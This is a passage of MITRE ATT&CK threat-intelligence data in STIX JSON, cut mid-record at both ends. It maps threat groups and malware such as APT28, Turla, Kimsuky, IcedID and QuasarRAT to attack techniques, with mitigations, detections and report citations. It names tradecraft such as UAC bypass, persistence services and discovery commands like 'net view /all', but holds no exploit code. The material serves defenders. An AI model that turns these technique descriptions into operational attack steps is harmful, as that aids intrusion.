Tap)","relationship_type":"uses","source_ref":"intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ba20a182-4500-43b5-bf19-796083e1633b","created":"2022-03-30T14:26:51.873Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor account activity for attempts to create and share data, such as snapshots or backups, with untrusted or unusual accounts.","modified":"2022-04-14T15:43:59.978Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--59ec10d9-546b-4b8e-bccb-fa85f71e5055","target_ref":"attack-pattern--d4bdbdea-eaec-4071-b4f9-5105e12ea4b6","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ba215171-4b5b-407f-931e-0d97ddb64909","type":"relationship","created":"2022-01-18T18:56:49.708Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike AQUATIC PANDA December 2021","url":"https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/","description":"Wiley, B. et al. (2021, December 29). OverWatch Exposes AQUATIC PANDA in Possession of Log4Shell Exploit Tools During Hands-on Intrusion Attempt. Retrieved January 18, 2022."}],"modified":"2022-01-18T18:56:49.708Z","description":"(Citation: CrowdStrike AQUATIC PANDA December 2021)","relationship_type":"uses","source_ref":"intrusion-set--64b52e7d-b2c4-4a02-9372-08a463f5dc11","target_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ba218c07-3cde-4555-a150-0c8daff51cee","created":"2022-05-05T15:49:14.672Z","x_mitre_version":"0.1","external_references":[{"source_name":"ESET Gelsemium June 2021","url":"https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf","description":"Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Gelsemium](https://attack.mitre.org/software/S0666) can use token manipulation to bypass UAC on Windows7 systems.(Citation: ESET Gelsemium June 2021)","modified":"2022-05-05T15:49:14.672Z","relationship_type":"uses","source_ref":"malware--efa7c4d6-8e30-41d9-a8fd-26dc337f4a1b","target_ref":"attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ba218f25-8703-4042-98b0-42afe1c49503","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/quasar/QuasarRAT","description":"MaxXor. (n.d.). QuasarRAT. Retrieved July 10, 2018.","source_name":"GitHub QuasarRAT"},{"url":"https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/","description":"Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.","source_name":"Volexity Patchwork June 2018"}],"modified":"2019-06-24T19:05:41.564Z","description":"[QuasarRAT](https://attack.mitre.org/software/S0262) can communicate over a reverse proxy using SOCKS5.(Citation: GitHub QuasarRAT)(Citation: Volexity Patchwork June 2018)","relationship_type":"uses","source_ref":"tool--da04ac30-27da-4959-a67d-450ce47d9470","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ba25a8ba-dc7a-4197-b885-d910524588b7","type":"relationship","created":"2021-07-20T23:00:16.230Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"win10_asr","url":"https://docs.microsoft.com/microsoft-365/security/defender-endpoint/attack-surface-reduction","description":"Microsoft. (2021, July 2). Use attack surface reduction rules to prevent malware infection. Retrieved June 24, 2021."}],"modified":"2021-10-18T21:24:31.445Z","description":"On Windows 10, enable Attack Surface Reduction (ASR) rules to prevent Office VBA macros from calling Win32 APIs. (Citation: win10_asr)","relationship_type":"mitigates","source_ref":"course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ba27eb37-39dc-47ee-b87f-95525878582e","created":"2023-02-16T18:54:47.274Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Secureworks DarkTortilla Aug 2022","description":"Secureworks Counter Threat Unit Research Team. (2022, August 17). DarkTortilla Malware Analysis. Retrieved November 3, 2022.","url":"https://www.secureworks.com/research/darktortilla-malware-analysis"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-06T23:18:14.908Z","description":"[DarkTortilla](https://attack.mitre.org/software/S1066) can retrieve information about a compromised system's running services.(Citation: Secureworks DarkTortilla Aug 2022)","relationship_type":"uses","source_ref":"malware--5faaf81a-aa5b-4a4b-bae5-522439e068f8","target_ref":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ba29bbf3-4947-4676-98c4-13bf6fb79ce0","type":"relationship","created":"2021-10-11T18:39:18.009Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Ferocious Kitten Jun 2021","url":"https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/","description":"GReAT. (2021, June 16). Ferocious Kitten: 6 Years of Covert Surveillance in Iran. Retrieved September 22, 2021."}],"modified":"2021-10-11T18:39:18.009Z","description":"[Ferocious Kitten](https://attack.mitre.org/groups/G0137) has obtained open source tools for its operations, including JsonCPP and Psiphon.(Citation: Kaspersky Ferocious Kitten Jun 2021)","relationship_type":"uses","source_ref":"intrusion-set--6566aac9-dad8-4332-ae73-20c23bad7f02","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ba2b1689-b46c-4451-9618-1c1669a0da0c","created":"2019-10-11T20:39:32.568Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-14T21:11:19.174Z","description":"Enforce the principle of least-privilege by limiting dashboard visibility to only the resources required. This may limit the discovery value of the dashboard in the event of a compromised account.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--e49920b0-6c54-40c1-9571-73723653205f","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ba2b3c40-f9d2-4663-a5bd-3bb158553572","type":"relationship","created":"2021-11-24T21:30:58.058Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MalwareBytes LazyScripter Feb 2021","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}],"modified":"2021-11-24T21:30:58.058Z","description":"(Citation: MalwareBytes LazyScripter Feb 2021)","relationship_type":"uses","source_ref":"intrusion-set--abc5a1d4-f0dc-49d1-88a1-4a80e478bb03","target_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ba2c0c39-5b92-45d1-827f-5f2b454d3981","created":"2022-06-15T14:38:27.229Z","x_mitre_version":"0.1","external_references":[{"source_name":"Kaspersky Lyceum October 2021","url":"https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf","description":"Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[HEXANE](https://attack.mitre.org/groups/G1001) has run `whoami` on compromised machines to identify the current user.(Citation: Kaspersky Lyceum October 2021)","modified":"2022-06-15T14:38:27.229Z","relationship_type":"uses","source_ref":"intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ba2d135f-cce4-4548-9298-ff8ed0d07dc7","type":"relationship","created":"2021-05-05T17:56:59.086Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Tonto Team October 2020","url":"https://vb2020.vblocalhost.com/uploads/VB2020-06.pdf","description":"Daniel Lughi, Jaromir Horejsi. (2020, October 2). Tonto Team - Exploring the TTPs of an advanced threat actor operating a large infrastructure. Retrieved October 17, 2021."},{"source_name":"Talos Bisonal Mar 2020","url":"https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html","description":"Mercer, W., et al. (2020, March 5). Bisonal: 10 years of play. Retrieved January 26, 2022."}],"modified":"2022-01-27T17:51:43.051Z","description":"[Tonto Team](https://attack.mitre.org/groups/G0131) has relied on user interaction to open their malicious RTF documents.(Citation: TrendMicro Tonto Team October 2020)(Citation: Talos Bisonal Mar 2020) ","relationship_type":"uses","source_ref":"intrusion-set--c5b81590-6814-4d2a-8baa-15c4b6c7f960","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ba2dfbfe-4979-448b-8f87-bdc44a867bbf","created":"2022-10-04T20:52:05.930Z","revoked":false,"external_references":[{"source_name":"Mandiant UNC3890 Aug 2022","description":"Mandiant Israel Research Team. (2022, August 17). Suspected Iranian Actor Targeting Israeli Shipping, Healthcare, Government and Energy Sectors. Retrieved September 21, 2022.","url":"https://www.mandiant.com/resources/blog/suspected-iranian-actor-targeting-israeli-shipping"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-04T20:52:05.930Z","description":"For [C0010](https://attack.mitre.org/campaigns/C0010), UNC3890 actors staged tools on their infrastructure to download directly onto a compromised system.(Citation: Mandiant UNC3890 Aug 2022)","relationship_type":"uses","source_ref":"campaign--ab747e62-1bcb-479f-a26b-1cd39d413d81","target_ref":"attack-pattern--506f6f49-7045-4156-9007-7474cb44ad6d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ba3d7819-9e07-4d90-93f1-e5fe9c63201f","type":"relationship","created":"2020-06-16T18:32:29.496Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-09-14T19:55:23.259Z","description":"Routinely check user permissions to ensure only the expected users have the capability to delete new instances.","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--70857657-bd0b-4695-ad3e-b13f92cac1b4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ba3d8bc0-a418-456c-9b4f-61a040208cf6","type":"relationship","created":"2020-01-10T16:01:16.205Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-10T16:01:16.205Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--43ba2b05-cf72-4b6c-8243-03a4aba41ee0","target_ref":"attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ba40c7b2-7f63-4976-9145-3b7f57f9c4cc","created":"2024-09-16T09:24:56.564Z","revoked":false,"external_references":[{"source_name":"Google Cloud APT41 2024","description":"Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T09:24:56.564Z","description":"[APT41 DUST](https://attack.mitre.org/campaigns/C0040) used internet scan data for target development.(Citation: Google Cloud APT41 2024)","relationship_type":"uses","source_ref":"campaign--add4d9de-1256-4166-83b8-57087288dced","target_ref":"attack-pattern--ec4be82f-940c-4dcb-87fe-2bbdd17c692f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ba4e03d1-f9b6-442d-974b-2fb7feddb551","type":"relationship","created":"2017-05-31T21:33:27.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/","description":"ThreatConnect Research Team. (2015, February 27). The Anthem Hack: All Roads Lead to China. Retrieved January 26, 2016.","source_name":"ThreatConnect Anthem"}],"modified":"2019-03-22T20:09:34.829Z","description":"(Citation: ThreatConnect Anthem)","relationship_type":"uses","source_ref":"intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064","target_ref":"malware--94379dec-5c87-49db-b36e-66abc0b81344","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ba55652b-771c-4716-9074-6de786905c98","created":"2024-01-18T19:59:34.150Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat June 2022","description":"Dedola, G. (2022, June 21). APT ToddyCat. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat/106799/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-05T17:41:11.308Z","description":"[Ninja](https://attack.mitre.org/software/S1100) can create the services `httpsvc` and `w3esvc` for persistence .(Citation: Kaspersky ToddyCat June 2022)","relationship_type":"uses","source_ref":"malware--023254de-caaf-4a05-b2c7-e4e2f283f7a5","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ba575869-1ac0-4681-aee2-37ecd3e6fed5","created":"2024-09-05T22:26:17.820Z","revoked":false,"external_references":[{"source_name":"DFIR_Quantum_Ransomware","description":"DFIR. (2022, April 25). Quantum Ransomware. Retrieved July 26, 2024.","url":"https://thedfirreport.com/2022/04/25/quantum-ransomware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-05T22:26:17.820Z","description":"[IcedID](https://attack.mitre.org/software/S0483) has used the `net view /all` command to show available shares.(Citation: DFIR_Quantum_Ransomware)","relationship_type":"uses","source_ref":"malware--5147ef15-1cae-4707-8ea1-bee8d98b7f1d","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ba583cf4-b162-4fbd-bf94-ad9f8cc5f642","created":"2022-07-29T19:44:20.919Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Group IB GrimAgent July 2021","description":"Priego, A. (2021, July). THE BROTHERS GRIM: THE REVERSING TALE OF GRIMAGENT MALWARE USED BY RYUK. Retrieved September 19, 2024.","url":"https://www.group-ib.com/blog/grimagent/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-19T14:32:39.434Z","description":"[GrimAgent](https://attack.mitre.org/software/S0632) can delete previously created tasks on a compromised host.(Citation: Group IB GrimAgent July 2021)","relationship_type":"uses","source_ref":"malware--c9b99d03-ff11-4a48-95f0-82660d582c25","target_ref":"attack-pattern--d2c4e5ea-dbdf-4113-805a-b1e2a337fb33","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ba5e1994-4732-44a0-a266-452ca526df5a","type":"relationship","created":"2020-01-31T12:39:48.360Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-31T12:39:48.360Z","relationship_type":"revoked-by","source_ref":"attack-pattern--e7eab98d-ae11-4491-bd28-a53ba875865a","target_ref":"attack-pattern--a750a9f6-0bde-4bb3-9aae-1e2786e9780c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ba64e6d1-4deb-440a-a4eb-1c3476b6fb47","created":"2017-05-31T21:33:27.041Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT28","description":"FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.","url":"https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"},{"source_name":"Secureworks IRON TWILIGHT Active Measures March 2017","description":"Secureworks CTU. (2017, March 30). IRON TWILIGHT Supports Active Measures. Retrieved February 28, 2022.","url":"https://www.secureworks.com/research/iron-twilight-supports-active-measures"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T17:51:20.416Z","description":"(Citation: FireEye APT28)(Citation: Secureworks IRON TWILIGHT Active Measures March 2017)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"malware--60c18d06-7b91-4742-bae3-647845cd9d81","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ba6536dd-2c36-4057-bae9-e71e1076e69b","created":"2020-10-22T20:24:01.354Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Recorded Future Turla Infra 2020","description":"Insikt Group. (2020, March 12). Swallowing the Snake’s Tail: Tracking Turla Infrastructure. Retrieved September 16, 2024.","url":"https://www.recordedfuture.com/research/turla-apt-infrastructure"},{"source_name":"NSA NCSC Turla OilRig","description":"NSA/NCSC. (2019, October 21). Cybersecurity Advisory: Turla Group Exploits Iranian APT To Expand Coverage Of Victims. Retrieved October 16, 2020.","url":"https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_Turla_20191021%20ver%204%20-%20nsa.gov.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T16:22:40.021Z","description":"[Turla](https://attack.mitre.org/groups/G0010) has used malware obtained after compromising other threat actors, such as [OilRig](https://attack.mitre.org/groups/G0049).(Citation: NSA NCSC Turla OilRig)(Citation: Recorded Future Turla Infra 2020)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--7807d3a4-a885-4639-a786-c1ed41484970","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ba65edc3-e0ef-477f-92c8-ffa2e2a943c5","type":"relationship","created":"2020-12-11T17:03:43.696Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FBI FLASH APT39 September 2020","url":"https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf","description":"FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020."}],"modified":"2020-12-11T17:03:43.696Z","description":"[APT39](https://attack.mitre.org/groups/G0087) has used tools with the ability to search for files on a compromised host.(Citation: FBI FLASH APT39 September 2020)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ba660d12-81f6-49fe-baf2-fda6d5bda761","type":"relationship","created":"2020-01-24T15:11:02.982Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-02-08T16:39:09.084Z","description":"Avoid PowerShell profiles if not needed. Use the -No Profile flag with when executing PowerShell scripts remotely to prevent local profiles and scripts from being executed.","relationship_type":"mitigates","source_ref":"course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067","target_ref":"attack-pattern--0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ba747d29-53c9-4841-bbbe-93527c789e63","created":"2022-07-01T19:11:32.878Z","x_mitre_version":"0.1","external_references":[{"source_name":"Microsoft POLONIUM June 2022","url":"https://www.microsoft.com/security/blog/2022/06/02/exposing-polonium-activity-and-infrastructure-targeting-israeli-organizations/","description":"Microsoft. (2022, June 2). Exposing POLONIUM activity and infrastructure targeting Israeli organizations. Retrieved July 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[POLONIUM](https://attack.mitre.org/groups/G1005) has created and used legitimate Microsoft OneDrive accounts for their operations.(Citation: Microsoft POLONIUM June 2022)","modified":"2022-08-08T19:51:03.692Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--5f3d0238-d058-44a9-8812-3dd1b6741a8c","target_ref":"attack-pattern--88d31120-5bc7-4ce3-a9c0-7cf147be8e54","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ba79589f-f4e2-497b-b25b-a6a0abf3eedd","type":"relationship","created":"2021-04-20T16:08:50.635Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 NETWIRE April 2020","url":"https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/","description":"Duncan, B. (2020, April 3). GuLoader: Malspam Campaign Installing NetWire RAT. Retrieved January 7, 2021."}],"modified":"2021-04-20T21:06:09.187Z","description":"[GuLoader](https://attack.mitre.org/software/S0561) has relied upon users clicking on links to malicious documents.(Citation: Unit 42 NETWIRE April 2020)","relationship_type":"uses","source_ref":"malware--45c759ac-b490-48bb-80d4-c8eee3431027","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ba7a0a7d-3a54-480f-86ce-f92d29dbabe1","created":"2022-02-09T14:32:47.557Z","x_mitre_version":"1.0","external_references":[{"source_name":"Talos Kimsuky Nov 2021","url":"https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html","description":"An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved December 29, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Kimsuky](https://attack.mitre.org/groups/G0094) can gather a list of all processes running on a victim's machine.(Citation: Talos Kimsuky Nov 2021)","modified":"2022-04-12T16:06:31.376Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ba7f4c8e-860a-45fc-a9e7-bb7d0ec96a2c","type":"relationship","created":"2020-03-06T20:00:23.935Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses","description":"Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.","source_name":"Secureworks BRONZE BUTLER Oct 2017"}],"modified":"2020-03-28T21:24:57.218Z","description":"[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used [schtasks](https://attack.mitre.org/software/S0111) to register a scheduled task to execute malware during lateral movement.(Citation: Secureworks BRONZE BUTLER Oct 2017)","relationship_type":"uses","source_ref":"intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ba7fad22-26af-43f1-a120-6a4d4269d9ab","created":"2020-12-18T16:54:50.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Tetra Defense Sodinokibi March 2020","description":"Tetra Defense. (2020, March). CAUSE AND EFFECT: SODINOKIBI RANSOMWARE ANALYSIS. Retrieved December 